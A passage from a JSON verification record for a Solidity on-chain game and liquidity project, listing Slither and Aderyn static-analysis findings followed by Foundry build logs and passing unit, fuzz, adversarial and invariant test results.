src/PadGame.sol:355: PadGame.bellRang() (src/PadGame.sol#355-357) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:338: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#338-344) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PvPPad.sol:252: PvPPad.genesisGraduated() (src/PvPPad.sol#252-256) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:175: PadGame._draw(uint256) (src/PadGame.sol#175-230) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:228: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#228-245):\n[medium/medium] reentrancy-no-eth at src/PadGame.sol:271: Reentrancy in PadGame.poke() (src/PadGame.sol#271-279):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:185: Reentrancy in PadLiquidity.distribute(uint256) (src/PadLiquidity.sol#185-211):\n[medium/medium] reentrancy-no-eth at src/PadGame.sol:295: Reentrancy in PadGame.upkeepStep(address) (src/PadGame.sol#295-307):\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:91: Reentrancy in PvPPad.restartGenesis() (src/PvPPad.sol#91-98):\n[medium/medium] reentrancy-no-eth at src/KingOfThePad.sol:58: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#58-102):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:149: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#149-179):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:214: Reentrancy in PadLiquidity.collectPool(uint256) (src/PadLiquidity.sol#214-225):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:235: Reentrancy in PadLiquidity.burnChunk() (src/PadLiquidity.sol#235-248):\n[medium/medium] uninitialized-local at src/PadGame.sol:506: PadGame._resolveRoll(uint256).expired (src/PadGame.sol#506) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:204: PvPPad.fundGames().sent (src/PvPPad.sol#204) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:581: PadGame._finalize(address).paid (src/PadGame.sol#581) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:590: PadGame._finalize(address).sent (src/PadGame.sol#590) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:571: PadGame._finalize(address).returned (src/PadGame.sol#571) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:308: PadLiquidity.unlockCallback(bytes).ethFromSale (src/PadLiquidity.sol#308) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:190: PadLiquidity.distribute(uint256).total (src/PadLiquidity.sol#190) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:188: PvPPad.fundGames().count (src/PvPPad.sol#188) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:551: PadGame._finalize(address).living (src/PadGame.sol#551) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:505: PadGame._resolveRoll(uint256).d (src/PadGame.sol#505) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:189: PvPPad.fundGames().total (src/PvPPad.sol#189) is a local variable never initialized\n[medium/medium] unused-return at src/PadGame.sol:151: PadGame.enter() (src/PadGame.sol#151-164) ignores return value by entrants.push(msg.sender) (src/PadGame.sol#158)\n[medium/medium] unused-return at src/PadLiquidity.sol:338: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#338-344) ignores return value by poolManager.settle{value: amount}() (src/PadLiquidity.sol#343)\n[medium/medium] unused-return at src/PadGame.sol:175: PadGame._draw(uint256) (src/PadGame.sol#175-230) ignores return value by imps.push(Imp(who,0,0,0,0,0,0)) (src/PadGame.sol#216)\n[medium/medium] unused-return at src/PadLiquidity.sol:281: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#281-336) ignores return value by (delta,None) = poolManager.modifyLiquidity(key,ModifyLiquidityParams(MIN_TICK,MAX_TICK,int256(l),0),) (src/PadLiquidity.sol#287-288)\n[medium/medium] unused-return at src/PadLiquidity.sol:346: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#346-351) ignores return value by poolManager.settle() (src/PadLiquidity.sol#350)\n[medium/medium] unused-return at src/PadLiquidity.sol:149: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#149-179) ignores return value by poolManager.initialize(key,sqrtP) (src/PadLiquidity.sol#168)\n[medium/medium] unused-return at src/PadLiquidity.sol:281: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#281-336) ignores return value by (None,fees) = poolManager.modifyLiquidity(key_scope_0,ModifyLiquidityParams(MIN_TICK,MAX_TICK,0,0),) (src/PadLiquidity.sol#300)\n[medium/medium] unused-return at src/PadGame.sol:233: PadGame.roll() (src/PadGame.sol#233-268) ignores return value by rolls.push(Roll(uint32(idx - 1),imp.nonce,uint64(ARB.arbBlockNumber()),false,false,0)) (src/PadGame.sol#256)\n[low/medium] missing-zero-check at src/PadGame.sol:139: PadGame.initialize(uint256,address,address,bool).liquidity_ (src/PadGame.sol#139) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:14: PadHook.constructor(address,address).liquidity_ (src/PadHook.sol#14) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:33: PadToken.initialize(string,string,address,address).game_ (src/PadToken.sol#33) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:14: PadHook.constructor(address,address).poolManager_ (src/PadHook.sol#14) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadLiquidity.sol:123: PadLiquidity.deployHook(bytes32).h (src/PadLiquidity.sol#123) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:139: PadGame.initialize(uint256,address,address,bool).token_ (src/PadGame.sol#139) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:33: PadToken.initialize(string,string,address,address).liquidity_ (src/PadToken.sol#33) lacks a zero-check on :\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#512)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#501)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#501)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#501)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#513)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#513)\n[low/medium] calls-loop at src/PvPPad.sol:182: PvPPad.fundGames() (src/PvPPad.sol#182-212) has external calls inside a loop: (live,p) = IPadGame(game).isLiveForKing() (src/PvPPad.sol#192)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#501)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#514)\n[low/medium] calls-loop at src/PadLiquidity.sol:185: PadLiquidity.distribute(uint256) (src/PadLiquidity.sol#185-211) has external calls inside a loop: collected = this.collectPool{gas: COLLECT_GAS}(idx) (src/PadLiquidity.sol#194-198)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#514)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#513)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#514)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#514)\n[low/medium] calls-loop at src/PvPPad.sol:182: PvPPad.fundGames() (src/PvPPad.sol#182-212) has external calls inside a loop: IPadGame(games[i_scope_0]).fundPot{value: share}() (src/PvPPad.sol#209)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#512)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#513)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#512)\n[low/medium] calls-loop at src/PadGame.sol:498: PadGame._resolveRoll(uint256) (src/PadGame.sol#498-542) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#512)\n[low/medium] reentrancy-benign at src/PvPPad.sol:104: Reentrancy in PvPPad.openPad(bytes32) (src/PvPPad.sol#104-115):\n[low/medium] reentrancy-benign at src/PadGame.sol:295: Reentrancy in PadGame.upkeepStep(address) (src/PadGame.sol#295-307):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:149: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#149-179):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:235: Reentrancy in PadLiquidity.burnChunk() (src/PadLiquidity.sol#235-248):\n[low/medium] reentrancy-benign at src/PvPPad.sol:228: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#228-245):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:185: Reentrancy in PadLiquidity.distribute(uint256) (src/PadLiquidity.sol#185-211):\n[low/medium] reentrancy-benign at src/PadGame.sol:295: Reentrancy in PadGame.upkeepStep(address) (src/PadGame.sol#295-307):\n[low/medium] reentrancy-benign at src/PadGame.sol:233: Reentrancy in PadGame.roll() (src/PadGame.sol#233-268):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:149: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#149-179):\n[low/medium] reentrancy-benign at src/PadGame.sol:271: Reentrancy in PadGame.poke() (src/PadGame.sol#271-279):\n[low/medium] reentrancy-benign at src/PadGame.sol:271: Reentrancy in PadGame.poke() (src/PadGame.sol#271-279):\n[low/medium] reentrancy-benign at src/KingOfThePad.sol:58: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#58-102):\n[low/medium] reentrancy-benign at src/PadGame.sol:295: Reentrancy in PadGame.upkeepStep(address) (src/PadGame.sol#295-307):\n[low/medium] ree","passed":true},{"durationMs":667,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/PadLiquidity.sol:133: `abi.encodePacked()` Hash Collision\n[high] contract-locks-ether at src/PvPPad.sol:9: Contract locks Ether without a withdraw function\n[high] eth-send-unchecked-address at src/KingOfThePad.sol:109: ETH transferred without address checks (3 places)\n[high] incorrect-caret-operator at src/libs/PadLib.sol:51: Incorrect use of caret operator\n[high] msg-value-in-loop at src/PvPPad.sol:205: Loop contains `msg.value`\n[high] reentrancy-state-change at src/KingOfThePad.sol:59: Reentrancy: State change after external call (21 places)\n[low] costly-loop at src/PadGame.sol:201: Costly operations inside loop (4 places)\n[low] large-numeric-literal at src/KingOfThePad.sol:15: Large Numeric Literal (15 places)\n[low] literal-instead-of-constant at src/KingOfThePad.sol:68: Literal Instead of Constant (44 places)\n[low] missing-inheritance at src/KingOfThePad.sol:14: Missing Inheritance (4 places)\n[low] state-change-without-event at src/PvPPad.sol:217: State Change Without Event (2 places)\n[low] state-no-address-check at src/PadGame.sol:143: Address State Variable Set Without Checks (4 places)\n[low] unchecked-return at src/PadGame.sol:302: Unchecked Return (4 places)\n[low] uninitialized-local-variable at src/PadGame.sol:201: Uninitialized Local Variable (5 places)\n[low] unsafe-erc20-operation at src/PadGame.sol:264: Unsafe ERC20 Operation (5 places)\n[low] unused-public-function at src/PadGame.sol:355: Public Function Not Used Internally (3 places)\n[low] unused-state-variable at src/PadLiquidity.sol:71: Unused State Variable","passed":true},{"durationMs":19656,"exitCode":0,"name":"proof e2ea0e40d4fd","output":"Compiling 75 files with Solc 0.8.26\nSolc 0.8.26 finished in 18.79s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-02c1a880/Proof_e2ea0e40d4fd.t.sol:CrownReentryTest\n[PASS] test_outgoingKingCannotBeSkippedByReenteringFromLiquidityClaim() (gas: 1814221)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.72ms (1.31ms CPU time)\n\nRan 1 test suite in 10.08ms (8.72ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"a4ba3dba93707fa50be56f24e8e62ea843bfca85135ee4e32e69c2871801df5c","verifiedTreeHash":"ce973ae19b5615ad133a9df3d061f6fb8da2d633","verifierVersion":"0.1.0+67c588fa"},{"checks":[{"durationMs":119406,"exitCode":0,"name":"build","output":"Compiling 86 files with Solc 0.8.26\nSolc 0.8.26 finished in 119.27s\nCompiler run successful!\n","passed":true},{"durationMs":5163,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 33500182)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 11818942\n  Later openPad including hook and genesis gas: 786390\n  Combined manifest and later opening gas: 12605332\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 73.68ms (73.31ms CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 3284611)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 3997525)\n[PASS] test_claimNothingReverts() (gas: 1175620)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9679)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 8925519)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 11673944)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 19558711)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 2544872)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 3441777)\n[PASS] test_failedGenesisRelaunchTakesTheCarryPotAsFundedEth() (gas: 4997935)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 114470486)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 3786900\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 32364293)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 16476123)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 13125081)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 2428673)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 3222660)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 1082199)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9180)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 2452215)\n[PASS] test_launchViewsRejectIdZero() (gas: 33175)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 2674467)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 9565110)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 8998546)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 7888350)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78238)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 993603)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 1033453)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 8807797)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 9271309)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 9451632)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 3770882)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 2697197)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 8259228)\n[PASS] test_singleLivingImpTakesEverything() (gas: 4872018)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 2424546)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 8289497)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 196.97ms (447.75ms CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107380)\n[PASS] test_bindingsAreOneShot() (gas: 87880)\n[PASS] test_carryPotFundsNextLaunch() (gas: 11140285)\n[PASS] test_closedPadRevertsEverything() (gas: 103846)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 693311)\n[PASS] test_deployGasUnderBudget() (gas: 19924)\n[PASS] test_deployHookOnlyByPad() (gas: 31087)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 11781391)\n[PASS] test_fundGamesOnlyKing() (gas: 39647)\n[PASS] test_hookRejectsForeignInitialize() (gas: 1122672)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9069523)\n[PASS] test_launchValidatesStrings() (gas: 8244245)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 992984)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 1024447)\n[PASS] test_openPadOnlyOnce() (gas: 1065146)\n[PASS] test_openPadRejectsBadSalt() (gas: 213652)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 280832)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 1412514)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 31703996)\n[PASS] test_templatesCannotBeInitialized() (gas: 1163703)\n[PASS] test_upkeepForOnlyGames() (gas: 1201607)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 635.58ms (174.88ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 8708767, ~: 8708858)\nLogs:\n  Bound result 18388529315714645403\n  Bound result 1770311666190782377\n  Bound result 3375\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 8984415, ~: 8984483)\nLogs:\n  Bound result 19990000000000002613\n  Bound result 38011000001017105921\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 12116501, ~: 11592293)\nLogs:\n  Bound result 1\n  Bound result 902397712997\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 8595184, ~: 8595227)\nLogs:\n  Bound result 49990000002447209286\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 5551238, ~: 4916398)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 118446943263843349\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37236, ~: 37240)\nLogs:\n  Bound result 13402\n  Bound result 1916\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21411, ~: 20999)\nLogs:\n  Bound result 37119460328768806344\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 37740, ~: 37951)\nLogs:\n  Bound result 796247245874660579182381030\n  Bound result 2622886383225522990\n  Bound result 2718229471666940625\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 8932629, ~: 10279018)\nLogs:\n  Bound result 1\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 694.21ms (4.11s CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 30889)\n[PASS] test_crownPrecollectsOnlyEightOfTenPools() (gas: 10273822)\nLogs:\n  takeCrown gas, ten real pools: 1644856\n\n[PASS] test_failedDistributorCannotBlockCrown() (gas: 8808995)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 14537922)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 9333235)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 8316601)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 1876146)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 3588008)\n[PASS] test_realTradingTokenFeesAreSoldForEthAndPaidToKing() (gas: 9004662)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.10s (1.25s CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 85073073, ~: 85283114)\nLogs:\n  Bound result 228\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2352663)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 11597489)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 67126286)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4383217)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 50188418)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.51s (1.62s CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryWaitsInThePadUntilARaffleSeatsFiveImps() (gas: 13609836)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 19944958)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 16965)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 9146971)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 9960432)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 1684058)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 10576758)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 394650000000000000\n  dump proceeds: 259263336672922540\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 8943750)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 8909675)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 3.38s (266.13ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1017540)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 244034)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 8762013)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1001423)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 915634)\n[PASS] test_distributeWithoutKingEscrows() (gas: 750882)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 10349936)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 548486)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 10321540)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 955596)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1106492)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 4155375)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 33110)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 272657)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 3.38s (106.97ms CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 0)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 101   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 107   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 109   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 134   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 88    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 85    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 95    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 96    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 84    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 110   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 215   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 192   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 15\n  Bound result 0\n  Bound result 244\n  Bound result 244\n  Bound result 9\n  Bound result 0\n  Bound result 2000000000000000\n  Bound result 2996000000000000002\n  Bound result 0\n  Bound result 2995000000000001501\n  Bound result 2995000000000012726\n  Bound result 8192\n  Bound result 1000000\n  Bound result 13755\n  Bound result 720\n  Bound result 96\n  Bound result 1306165815548362784\n  Bound result 2\n  Bound result 0\n  Bound result 56\n  Bound result 0\n  Bound result 320\n  Bound result 243\n  Bound result 0\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.67s (3.65s CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 20068618, ~: 17082400)\nLogs:\n  Bound result 89\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116003834)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2640333\n  5000-entry draw total gas: 16166051\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 52229810)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 409784)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 